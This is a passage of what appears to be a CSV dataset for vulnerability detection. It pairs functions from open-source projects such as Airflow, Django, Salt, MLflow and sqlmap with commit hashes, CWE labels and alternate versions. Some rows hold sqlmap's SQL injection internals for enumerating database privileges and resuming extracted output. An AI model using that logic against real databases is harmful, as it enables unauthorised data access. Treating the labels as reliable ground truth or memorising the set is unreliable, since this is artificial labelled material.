# 304 responses have no body (not even a zero-length body), and so
# should not have either Content-Length or Transfer-Encoding.
# headers.
start_line.code != 304 and
# No need to chunk the output if a Content-Length is specified.
'Content-Length' not in headers and
# Applications are discouraged from touching Transfer-Encoding,
# but if they do, leave it alone.
'Transfer-Encoding' not in headers)
# If a 1.0 client asked for keep-alive, add the header.
if (self._request_start_line.version == 'HTTP/1.0' and
(self._request_headers.get('Connection', '').lower()
== 'keep-alive')):
headers['Connection'] = 'Keep-Alive'
if self._chunking_output:
headers['Transfer-Encoding'] = 'chunked'
if (not self.is_client and
(self._request_start_line.method == 'HEAD' or
start_line.code == 304)):
self._expected_content_remaining = 0
elif 'Content-Length' in headers:
self._expected_content_remaining = int(headers['Content-Length'])
else:
self._expected_content_remaining = None
lines.extend([utf8(n) + b"": "" + utf8(v) for n, v in headers.get_all()])
for line in lines:
if b'\n' in line:
raise ValueError('Newline in header: ' + repr(line))
future = None
if self.stream.closed():
future = self._write_future = Future()
future.set_exception(iostream.StreamClosedError())
future.exception()
else:
if callback is not None:
self._write_callback = stack_context.wrap(callback)
else:
future = self._write_future = Future()
data = b""\r\n"".join(lines) + b""\r\n\r\n""
if chunk:
data += self._format_chunk(chunk)
self._pending_write = self.stream.write(data)
self._pending_write.add_done_callback(self._on_write_complete)
return future"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/providers/slack/operators/slack.py,0,"def __init__(
self,
channel: str = '#general',
initial_comment: str = 'No message has been set!',
filename: Optional[str] = None,
filetype: Optional[str] = None,
content: Optional[str] = None,
**kwargs,
) -> None:
self.method = 'files.upload'
self.channel = channel
self.initial_comment = initial_comment
self.filename = filename
self.filetype = filetype
self.content = content
self.file_params: Dict = {}
super().__init__(method=self.method, **kwargs)",CWE-Unknown,apache/airflow,dad2f8103be954afaedf15e9d098ee417b0d5d02,"def __init__(
self,
channel: str = '#general',
initial_comment: str = 'No message has been set!',
filename: str = None,
filetype: str = None,
content: str = None,
**kwargs,
) -> None:
self.method = 'files.upload'
self.channel = channel
self.initial_comment = initial_comment
self.filename = filename
self.filetype = filetype
self.content = content
self.file_params = {}
super().__init__(method=self.method, **kwargs)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/operators/python.py,0,"def __init__(
self,
*,
python_callable: Callable,
requirements: None | Iterable[str] | str = None,
python_version: str | None = None,
use_dill: bool = False,
system_site_packages: bool = True,
pip_install_options: list[str] | None = None,
op_args: Collection[Any] | None = None,
op_kwargs: Mapping[str, Any] | None = None,
string_args: Iterable[str] | None = None,
templates_dict: dict | None = None,
templates_exts: list[str] | None = None,
expect_airflow: bool = True,
skip_on_exit_code: int | Container[int] | None = None,
**kwargs,
):
if (
python_version
and str(python_version)[0] != str(sys.version_info.major)
and (op_args or op_kwargs)
):
raise AirflowException(
""Passing op_args or op_kwargs is not supported across different Python ""
""major versions for PythonVirtualenvOperator. Please use string_args.""
f""Sys version: {sys.version_info}. Venv version: {python_version}""
)
if python_version is not None and not isinstance(python_version, str):
warnings.warn(
""Passing non-string types (e.g. int or float) as python_version ""
""is deprecated. Please use string value instead."",
RemovedInAirflow3Warning,
stacklevel=2,
)
if not is_venv_installed():
raise AirflowException(""PythonVirtualenvOperator requires virtualenv, please install it."")
if not requirements:
self.requirements: list[str] | str = []
elif isinstance(requirements, str):
self.requirements = requirements
else:
self.requirements = list(requirements)
self.python_version = python_version
self.system_site_packages = system_site_packages
self.pip_install_options = pip_install_options
super().__init__(
python_callable=python_callable,
use_dill=use_dill,
op_args=op_args,
op_kwargs=op_kwargs,
string_args=string_args,
templates_dict=templates_dict,
templates_exts=templates_exts,
expect_airflow=expect_airflow,
skip_on_exit_code=skip_on_exit_code,
**kwargs,
)",CWE-Unknown,apache/airflow,2324041b324932cf0661679b59d9480c60cd2577,"def __init__(
self,
*,
python_callable: Callable,
requirements: None | Iterable[str] | str = None,
python_version: str | int | float | None = None,
use_dill: bool = False,
system_site_packages: bool = True,
pip_install_options: list[str] | None = None,
op_args: Collection[Any] | None = None,
op_kwargs: Mapping[str, Any] | None = None,
string_args: Iterable[str] | None = None,
templates_dict: dict | None = None,
templates_exts: list[str] | None = None,
expect_airflow: bool = True,
skip_on_exit_code: int | Container[int] | None = None,
**kwargs,
):
if (
python_version
and str(python_version)[0] != str(sys.version_info.major)
and (op_args or op_kwargs)
):
raise AirflowException(
""Passing op_args or op_kwargs is not supported across different Python ""
""major versions for PythonVirtualenvOperator. Please use string_args.""
f""Sys version: {sys.version_info}. Venv version: {python_version}""
)
if not is_venv_installed():
raise AirflowException(""PythonVirtualenvOperator requires virtualenv, please install it."")
if not requirements:
self.requirements: list[str] | str = []
elif isinstance(requirements, str):
self.requirements = requirements
else:
self.requirements = list(requirements)
self.python_version = python_version
self.system_site_packages = system_site_packages
self.pip_install_options = pip_install_options
super().__init__(
python_callable=python_callable,
use_dill=use_dill,
op_args=op_args,
op_kwargs=op_kwargs,
string_args=string_args,
templates_dict=templates_dict,
templates_exts=templates_exts,
expect_airflow=expect_airflow,
skip_on_exit_code=skip_on_exit_code,
**kwargs,
)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/users.py,0,"def getPrivileges(self, query2=False):
infoMsg = ""fetching database users privileges""
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
if conf.user == ""CU"":
infoMsg += "" for current user""
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split("","")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
# Set containing the list of DBMS administrators
areAdmins = set()
if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += "" WHERE ""
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query += "" OR "".join(""%s LIKE '%%%s%%'"" % (condition, user) for user in sorted(users))
else:
query += "" OR "".join(""%s = '%s'"" % (condition, user) for user in sorted(users))
values = inject.getValue(query, blind=False, time=False)
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = ""trying with table USER_SYS_PRIVS""
logger.info(infoMsg)
return self.getPrivileges(query2=True)
if not isNoneValue(values):
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
if int(privilege) == 1:
privileges.add(PGSQL_PRIVS[count])
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
if privilege.upper() == ""Y"":
privileges.add(MYSQL_PRIVS[count])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split("","")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in (""Y"", ""G""):
for position, db2Priv in DB2_PRIVS.items():
if position == i:
privilege += "", "" + db2Priv
i += 1
privileges.add(privilege)
if user in kb.data.cachedUsersPrivileges:
kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
conditionChar = "" LIKE ""
else:
conditionChar = ""=""
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
retrievedUsers = set()
for user in users:
outuser = user
if user in retrievedUsers:
continue
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
user = ""%%%s%%"" % user
infoMsg = ""fetching number of privileges ""
infoMsg += ""for user '%s'"" % outuser
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = ""trying with table USER_SYS_PRIVS""
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = ""unable to retrieve the number of ""
warnMsg += ""privileges for user '%s'"" % outuser
logger.warn(warnMsg)
continue
infoMsg = ""fetching privileges for user '%s'"" % outuser
logger.info(infoMsg)
privileges = set()
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, user, index)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, user)
else:
query = rootQuery.blind.query % (user, index)
privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and "", "" in privilege:
privilege = privilege.replace("", "", "","")
privs = privilege.split("","")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in PGSQL_PRIVS.items():
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
privilege = privilege.replace("", "", "","")
privs = privilege.split("","")
i = 1
for priv in privs:
if priv.upper() == ""Y"":
for position, mysqlPriv in MYSQL_PRIVS.items():
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split("","")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in (""Y"", ""G""):
for position, db2Priv in DB2_PRIVS.items():
if position == i:
privilege += "", "" + db2Priv
i += 1
privileges.add(privilege)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
break
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = ""unable to retrieve the privileges ""
warnMsg += ""for user '%s'"" % outuser
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
errMsg = ""unable to retrieve the privileges ""
errMsg += ""for the database users""
raise SqlmapNoneDataException(errMsg)
for user, privileges in kb.data.cachedUsersPrivileges.items():
if isAdminFromPrivileges(privileges):
areAdmins.add(user)
return (kb.data.cachedUsersPrivileges, areAdmins)",,andresriancho/w3af,146d9fedf0de54b032b97b55ee7d4af8800e1d8e,"def getPrivileges(self, query2=False):
infoMsg = ""fetching database users privileges""
rootQuery = queries[Backend.getIdentifiedDbms()].privileges
if conf.user == ""CU"":
infoMsg += "" for current user""
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split("","")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
# Set containing the list of DBMS administrators
areAdmins = set()
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += "" WHERE ""
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query += "" OR "".join(""%s LIKE '%%%s%%'"" % (condition, user) for user in sorted(users))
else:
query += "" OR "".join(""%s = '%s'"" % (condition, user) for user in sorted(users))
values = inject.getValue(query, blind=False, time=False)
if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = ""trying with table USER_SYS_PRIVS""
logger.info(infoMsg)
return self.getPrivileges(query2=True)
if not isNoneValue(values):
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
if int(privilege) == 1:
privileges.add(PGSQL_PRIVS[count])
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
if privilege.upper() == ""Y"":
privileges.add(MYSQL_PRIVS[count])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split("","")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in (""Y"", ""G""):
for position, db2Priv in DB2_PRIVS.items():
if position == i:
privilege += "", "" + db2Priv
i += 1
privileges.add(privilege)
if isAdminFromPrivileges(privileges):
areAdmins.add(user)
if user in kb.data.cachedUsersPrivileges:
kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
conditionChar = "" LIKE ""
else:
conditionChar = ""=""
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search(""[\047]*(.*?)[\047]*\@"", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
retrievedUsers = set()
for user in users:
outuser = user
if user in retrievedUsers:
continue
if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
user = ""%%%s%%"" % user
infoMsg = ""fetching number of privileges ""
infoMsg += ""for user '%s'"" % outuser
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % user
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, user)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if Backend.isDbms(DBMS.ORACLE) and not query2:
infoMsg = ""trying with table USER_SYS_PRIVS""
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = ""unable to retrieve the number of ""
warnMsg += ""privileges for user '%s'"" % outuser
logger.warn(warnMsg)
continue
infoMsg = ""fetching privileges for user '%s'"" % outuser
logger.info(infoMsg)
privileges = set()
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, user, index)
elif Backend.isDbms(DBMS.ORACLE) and query2:
query = rootQuery.blind.query2 % (user, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, user)
else:
query = rootQuery.blind.query % (user, index)
privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if Backend.isDbms(DBMS.PGSQL) and "", "" in privilege:
privilege = privilege.replace("", "", "","")
privs = privilege.split("","")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in PGSQL_PRIVS.items():
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
privilege = privilege.replace("", "", "","")
privs = privilege.split("","")
i = 1
for priv in privs:
if priv.upper() == ""Y"":
for position, mysqlPriv in MYSQL_PRIVS.items():
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif Backend.isDbms(DBMS.FIREBIRD):
privileges.add(FIREBIRD_PRIVS[privilege.strip()])
# In DB2 we get Y or G if the privilege is
# True, N otherwise
elif Backend.isDbms(DBMS.DB2):
privs = privilege.split("","")
privilege = privs[0]
privs = privs[1]
privs = list(privs.strip())
i = 1
for priv in privs:
if priv.upper() in (""Y"", ""G""):
for position, db2Priv in DB2_PRIVS.items():
if position == i:
privilege += "", "" + db2Priv
i += 1
privileges.add(privilege)
if isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
break
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = ""unable to retrieve the privileges ""
warnMsg += ""for user '%s'"" % outuser
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
errMsg = ""unable to retrieve the privileges ""
errMsg += ""for the database users""
raise SqlmapNoneDataException(errMsg)
return (kb.data.cachedUsersPrivileges, areAdmins)"
,UNKNOWN,UNKNOWN,salt/utils/virtualbox.py,1,"def vb_get_network_adapters(machine_name=None, machine=None):
""""""
A valid machine_name or a machine is needed to make this work!
@param machine_name:
@type machine_name: str
@param machine:
@type machine: IMachine
@return: INetorkAdapter's converted to dicts
@rtype: [dict]
""""""
if machine_name:
machine = vb_get_box().findMachine(machine_name)
network_adapters = []
for i in range(vb_get_max_network_slots()):
try:
inetwork_adapter = machine.getNetworkAdapter(i)
network_adapter = vb_xpcom_to_attribute_dict(
inetwork_adapter, ""INetworkAdapter""
)
network_adapter[""properties""] = inetwork_adapter.getProperties("""")
network_adapters.append(network_adapter)
except Exception:
pass
return network_adapters",CWE-703,saltstack/salt,7965eaab3c92dd51ee29fd4a2ab3a8f577ac71c1,"def vb_get_network_adapters(machine_name=None, machine=None):
""""""
A valid machine_name or a machine is needed to make this work!
@param machine_name:
@type machine_name: str
@param machine:
@type machine: IMachine
@return: INetorkAdapter's converted to dicts
@rtype: [dict]
""""""
if machine_name:
machine = vb_get_box().findMachine(machine_name)
network_adapters = []
for i in range(vb_get_max_network_slots()):
try:
inetwork_adapter = machine.getNetworkAdapter(i)
network_adapter = vb_xpcom_to_attribute_dict(
inetwork_adapter, ""INetworkAdapter""
)
network_adapter[""properties""] = inetwork_adapter.getProperties("""")
network_adapters.append(network_adapter)
except:
pass
return network_adapters"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/utils/selective_checks.py,0,"def _fail_if_suspended_providers_affected(self):
return ""allow suspended provider changes"" not in self._pr_labels",CWE-Unknown,apache/airflow,bc7e471cdae73a3c46ef89d17dbc1a54212b9291,"def _fail_if_suspended_providers_affected(self):
return ""allow suspended provider changes"" not in self._pr_labels"
,UNKNOWN,UNKNOWN,tests/anthropic/test_anthropic_autolog.py,1,"def test_messages_autolog(is_async):
mlflow.anthropic.autolog()
_call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)
traces = get_traces()
assert len(traces) == 1
assert traces[0].info.status == ""OK""
assert len(traces[0].data.spans) == 1
span = traces[0].data.spans[0]
assert span.name == ""AsyncMessages.create"" if is_async else ""Messages.create""
assert span.span_type == SpanType.CHAT_MODEL
assert span.inputs == DUMMY_CREATE_MESSAGE_REQUEST
# Only keep input_tokens / output_tokens fields in usage dict.
span.outputs[""usage""] = {
key: span.outputs[""usage""][key] for key in [""input_tokens"", ""output_tokens""]
}
assert span.outputs == DUMMY_CREATE_MESSAGE_RESPONSE.to_dict()
assert span.get_attribute(SpanAttributeKey.CHAT_MESSAGES) == [
{
""role"": ""user"",
""content"": ""test message"",
},
{
""role"": ""assistant"",
""content"": [
{
""text"": ""test answer"",
""type"": ""text"",
}
],
},
]
assert span.get_attribute(SpanAttributeKey.CHAT_USAGE) == {
""input_tokens"": 10,
""output_tokens"": 18,
""total_tokens"": 28,
}
assert traces[0].info.token_usage == {
""input_tokens"": 10,
""output_tokens"": 18,
""total_tokens"": 28,
}
mlflow.anthropic.autolog(disable=True)
_call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)
# No new trace should be created
traces = get_traces()
assert len(traces) == 1",CWE-703,mlflow/mlflow,9eebfb306562ca3b6c940295b18a0ce3893fb7ae,"def test_messages_autolog(is_async):
mlflow.anthropic.autolog()
_call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)
traces = get_traces()
assert len(traces) == 1
assert traces[0].info.status == ""OK""
assert len(traces[0].data.spans) == 1
span = traces[0].data.spans[0]
assert span.name == ""AsyncMessages.create"" if is_async else ""Messages.create""
assert span.span_type == SpanType.CHAT_MODEL
assert span.inputs == DUMMY_CREATE_MESSAGE_REQUEST
# Only keep input_tokens / output_tokens fields in usage dict.
span.outputs[""usage""] = {
key: span.outputs[""usage""][key] for key in [""input_tokens"", ""output_tokens""]
}
assert span.outputs == DUMMY_CREATE_MESSAGE_RESPONSE.to_dict()
assert span.get_attribute(SpanAttributeKey.CHAT_MESSAGES) == [
{
""role"": ""user"",
""content"": ""test message"",
},
{
""role"": ""assistant"",
""content"": [
{
""text"": ""test answer"",
""type"": ""text"",
}
],
},
]
mlflow.anthropic.autolog(disable=True)
_call_anthropic(DUMMY_CREATE_MESSAGE_REQUEST, DUMMY_CREATE_MESSAGE_RESPONSE, is_async)
# No new trace should be created
traces = get_traces()
assert len(traces) == 1"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/state.py,0,"def __init__(
self, app_label, name, fields, options=None, bases=None, managers=None
):
self.app_label = app_label
self.name = name
self.fields = dict(fields)
self.options = options or {}
self.options.setdefault(""indexes"", [])
self.options.setdefault(""constraints"", [])
self.bases = bases or (models.Model,)
self.managers = managers or []
for name, field in self.fields.items():
# Sanity-check that fields are NOT already bound to a model.
if hasattr(field, ""model""):
raise ValueError(
'ModelState.fields cannot be bound to a model - ""%s"" is.' % name
)
# Sanity-check that relation fields are NOT referring to a model class.
if field.is_relation and hasattr(field.related_model, ""_meta""):
raise ValueError(
'Model fields in ""ModelState.fields"" cannot refer to a model class '
f'- ""{self.app_label}.{self.name}.{name}.to"" does. Use a string '
""reference instead.""
)
if field.many_to_many and hasattr(field.remote_field.through, ""_meta""):
raise ValueError(
'Model fields in ""ModelState.fields"" cannot refer to a model class '
f'- ""{self.app_label}.{self.name}.{name}.through"" does. Use a '
""string reference instead.""
)
# Sanity-check that indexes have their name set.
for index in self.options[""indexes""]:
if not index.name:
raise ValueError(
""Indexes passed to ModelState require a name attribute. ""
""%r doesn't have one."" % index
)",CWE-Unknown,django/django,a8adb6aa6cc6b9efd043acc980b5744bc211c760,"def __init__(
self, app_label, name, fields, options=None, bases=None, managers=None
):
self.app_label = app_label
self.name = name
self.fields = dict(fields)
self.options = options or {}
self.options.setdefault(""indexes"", [])
self.options.setdefault(""constraints"", [])
self.bases = bases or (models.Model,)
self.managers = managers or []
for name, field in self.fields.items():
# Sanity-check that fields are NOT already bound to a model.
if hasattr(field, ""model""):
raise ValueError(
'ModelState.fields cannot be bound to a model - ""%s"" is.' % name
)
# Sanity-check that relation fields are NOT referring to a model class.
if field.is_relation and hasattr(field.related_model, ""_meta""):
raise ValueError(
'ModelState.fields cannot refer to a model class - ""%s.to"" does. '
""Use a string reference instead."" % name
)
if field.many_to_many and hasattr(field.remote_field.through, ""_meta""):
raise ValueError(
'ModelState.fields cannot refer to a model class - ""%s.through"" '
""does. Use a string reference instead."" % name
)
# Sanity-check that indexes have their name set.
for index in self.options[""indexes""]:
if not index.name:
raise ValueError(
""Indexes passed to ModelState require a name attribute. ""
""%r doesn't have one."" % index
)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/utils/resume.py,0,"def resume(expression, payload):
""""""
This function can be called to resume part or entire output of a
SQL injection query output.
""""""
if ""sqlmapfile"" in expression or ""sqlmapoutput"" in expression:
return None
condition = (
kb.resumedQueries and conf.url in kb.resumedQueries.keys()
and expression in kb.resumedQueries[conf.url].keys()
)
if not condition:
return None
resumedValue = kb.resumedQueries[conf.url][expression]
if not resumedValue:
return None
resumedValue = resumedValue.replace(""__NEWLINE__"", ""\n"").replace(""__TAB__"", ""\t"")
if resumedValue[-1] == ""]"":
resumedValue = resumedValue[:-1]
infoMsg = ""read from file '%s': "" % conf.sessionFile
logValue = re.findall(""__START__(.*?)__STOP__"", resumedValue, re.S)
if logValue:
logValue = "", "".join([value.replace(""__DEL__"", "", "") for value in logValue])
else:
logValue = resumedValue
if ""\n"" in logValue:
infoMsg += ""%s..."" % logValue.split(""\n"")[0]
else:
infoMsg += logValue
logger.info(infoMsg)
return resumedValue
# If we called this function without providing a payload it means that
# we have called it from lib/request/inject __goInband() function
# in UNION query (inband) SQL injection so we return to the calling
# function so that the query output will be retrieved taking advantage
# of the inband SQL injection vulnerability.
if not payload:
return None
if not kb.dbms:
return None
substringQuery = queries[kb.dbms].substring
select = re.search(""\ASELECT "", expression, re.I)
_, length, regExpr = queryOutputLength(expression, payload)
if not length:
return None
if len(resumedValue) == int(length):
infoMsg = ""read from file '%s': "" % conf.sessionFile
infoMsg += ""%s"" % resumedValue.split(""\n"")[0]
logger.info(infoMsg)
dataToSessionFile(""[%s][%s][%s][%s][%s]\n"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))
return resumedValue
elif len(resumedValue) < int(length):
infoMsg = ""resumed from file '%s': "" % conf.sessionFile
infoMsg += ""%s..."" % resumedValue.split(""\n"")[0]
logger.info(infoMsg)
dataToSessionFile(""[%s][%s][%s][%s][%s"" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, replaceNewlineTabs(resumedValue)))
if select:
newExpr = expression.replace(regExpr, safeStringFormat(substringQuery, (regExpr, len(resumedValue) + 1, int(length))), 1)
else:
newExpr = safeStringFormat(substringQuery, (expression, len(resumedValue) + 1, int(length)))
missingCharsLength = int(length) - len(resumedValue)
infoMsg = ""retrieving pending %d query "" % missingCharsLength
infoMsg += ""output characters""
logger.info(infoMsg)
start = time.time()
count, finalValue = bisection(payload, newExpr, length=missingCharsLength)
debugMsg = ""performed %d queries in %d seconds"" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
if len(finalValue) != ( int(length) - len(resumedValue) ):
warnMsg = ""the total length of the query is not ""
warnMsg += ""right, sqlmap is going to retrieve the ""
warnMsg += ""query value from the beginning now""
logger.warn(warnMsg)
return None
return ""%s%s"" % (resumedValue, finalValue)
return None",,sqlmapproject/sqlmap,c39d819dd2b4dbd5352faa70b4b960c703e92766,"def resume(expression, payload):
""""""
This function can be called to resume part or entire output of a
